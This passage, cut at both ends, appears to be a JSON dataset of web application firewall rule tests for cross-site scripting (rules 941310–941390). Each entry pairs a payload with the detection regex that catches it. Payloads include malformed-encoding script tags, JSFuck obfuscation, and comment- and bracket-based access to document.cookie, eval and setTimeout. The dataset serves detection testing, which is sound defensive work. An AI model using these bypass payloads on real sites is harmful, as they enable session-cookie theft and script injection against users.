"var=\\xd0\\xb0\\xd0\\xb1\\xd0\\xb2\\xd0\\xb3\\xd0\\xb4\\xd0\\xb5\\xd1\\x91\\xd0\\xb6\\xd0\\xb7\\xd0\\xb8\\xd0\\xb9\\xd0\\xba\\xd0\\xbb\\xd0\\xbc\\xd0\\xbd\\xd0\\xbe\\xd0\\xbf\\xd1\\x80\\xd1\\x81\\xd1\\x82\\xd1\\x83\\xd1\\x84\\xd1\\x85\\xd1\\x86\\xd1\\x87\\xd1\\x88\\xd1\\x89\\xd1\\x8a\\xd1\\x8b\\xd1\\x8d\\xd1\\x8e\\xd1\\x8f" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Real world false positive for old rule with Russian utf-8 characters" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=de_matten & sitzbez\\xc3\\x83\\xc2\\xbcge > fu\\xc3\\x83\\xc2\\x9fmatten_mt" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Real world false positive for old rule with German utf-8 characters" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\xbc\\xbc" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Negative test for opening tag" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\xbe\\xbe" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Negative test for closing tag" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\xd0\\xbcscript\\xd0\\xbealert(\\xc2\\xa2XSS\\xc2\\xa2)\\xd0\\xbc/script\\xd0" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Negative for missing end tag, opening tag" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\xd0\\xbcscript\\xd0\\xbealert(\\xc2\\xa2XSS\\xc2\\xa2)\\xd0/script\\xd0\\xbe" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Negative for missing end tag, closing tag" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\xd0\\xb0\\xd0\\xb1\\xd0\\xb2\\xd0\\xb3\\xd0\\xb4\\xd0\\xb5\\xd1\\x91\\xd0\\xb6\\xd0\\xb7\\xd0\\xb8\\xd0\\xb9\\xd0\\xba\\xd0\\xbb\\xd0\\xbc\\xd0\\xbd\\xd0\\xbf\\xd1\\x80\\xd1\\x81\\xd1\\x82\\xd1\\x83\\xd1\\x84\\xd1\\x85\\xd1\\x86\\xd1\\x87\\xd1\\x88\\xd1\\x89\\xd1\\x8a\\xd1\\x8b\\xd1\\x8d\\xd1\\x8e\\xd1\\x8f" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Negative using real world Russian example in utf-8" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\xd0\\xb0\\xd0\\xb1\\xd0\\xb2\\xd0\\xb3\\xd0\\xb4\\xd0\\xb5\\xd1\\x91\\xd0\\xb6\\xd0\\xb7\\xd0\\xb8\\xd0\\xb9\\xd0\\xba\\xd0\\xbb\\xd0\\xbd\\xd0\\xbe\\xd0\\xbf\\xd1\\x80\\xd1\\x81\\xd1\\x82\\xd1\\x83\\xd1\\x84\\xd1\\x85\\xd1\\x86\\xd1\\x87\\xd1\\x88\\xd1\\x89\\xd1\\x8a\\xd1\\x8b\\xd1\\x8d\\xd1\\x8e\\xd1\\x8f" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Negative using real world Russian example in utf-8, variant" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=\\xbctest\\xbetest(\\xa2XSS\\xa2)\\xbc/test\\xbe" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\xbc[^\\xbe>]*[\\xbe>]|<[^\\xbe]*\\xbe", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941310", "test_description": "Status Page Test - US-ASCII Malformed Encoding XSS Filter Attack" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=%252bADw-script%252bAD4-" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\+ADw-.*(?:\\+AD4-|>)|<.*\\+AD4-", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941350", "test_description": "GH issue 1514" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "![!+ ]\\[\\]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941360", "test_description": "JSFuck / Hieroglyphy payload obfuscation attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=(![]+[])[+!+[]]" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "![!+ ]\\[\\]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941360", "test_description": "JSFuck / Hieroglyphy payload obfuscation attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=+!![]" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "![!+ ]\\[\\]", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941360", "test_description": "JSFuck / Hieroglyphy payload obfuscation attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=document+%2F%2Afoo%2A%2F+.+++++cookie" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass using comment in syntax and multiple whitespaces" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=document%2F%2Afoo%2A%2F.%2F%2Abar%2A%2Fcookie" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass using comments in syntax" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=window%5B%22alert%22%5D%28window%5B%22document%22%5D%5B%22cookie%22%5D%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass using JavaScript global variables" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=self%5B%2F%2Afoo%2A%2F%22alert%22%5D%28self%5B%22document%22%2F%2Abar%2A%2F%5D%5B%22cookie%22%5D%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass using JavaScript global variables and comments in syntax" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=self%5B%2F%2Afoo%2A%2F%22alert%22%5D%28self%5B%22document%22%2F%2Abar%2A%2F%5D%5B%22cookie%22%5D%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass using JavaScript global variables and string concatenation" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=self++%2F%2Ajhb%2A%2F++%5B++%2F%2Abar%2A%2F++%22alert%22%5D%28%22xss%22%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass using JavaScript global variables and comments in syntax" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=self%5B%22%24%22%5D%5B%22globalEval%22%5D%28%22alert%281%29%22%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass using JavaScript global variables and jQuery globalEval" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=self%5B%22%5Cx24%22%5D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass using JavaScript global variables and hex escape sequence" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=%28document%29%5B%22cookie%22%5D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass trying to access document.cookie using alternative syntax like (document)['cookie']" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=%28document%2F%2Afoo%2A%2F%29%5B%22cookie%22%5D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:self|document|this|top|window)\\s*(?:/\\*|[\\[)]).+?(?:\\]|\\*/)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941370", "test_description": "Bypass trying to access document.cookie using alternative syntax and comments like (document/*foo*/)['cookie']" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=setInterval%28code%2C%201%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "JavaScript method setInterval(code, 1)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=x%22%3BsetTimeout%28name%2C%201%29%2F%2F" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "JavaScript method: arg=x\";setTimeout(name, 1)//" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=eval%28%272%20%2B%202%27%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "JavaScript method eval('2 + 2')" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=new%20Function%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "JavaScript constructor new Function()" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=alert%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "JavaScript call alert" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=atob%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "JavaScript call atob" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": 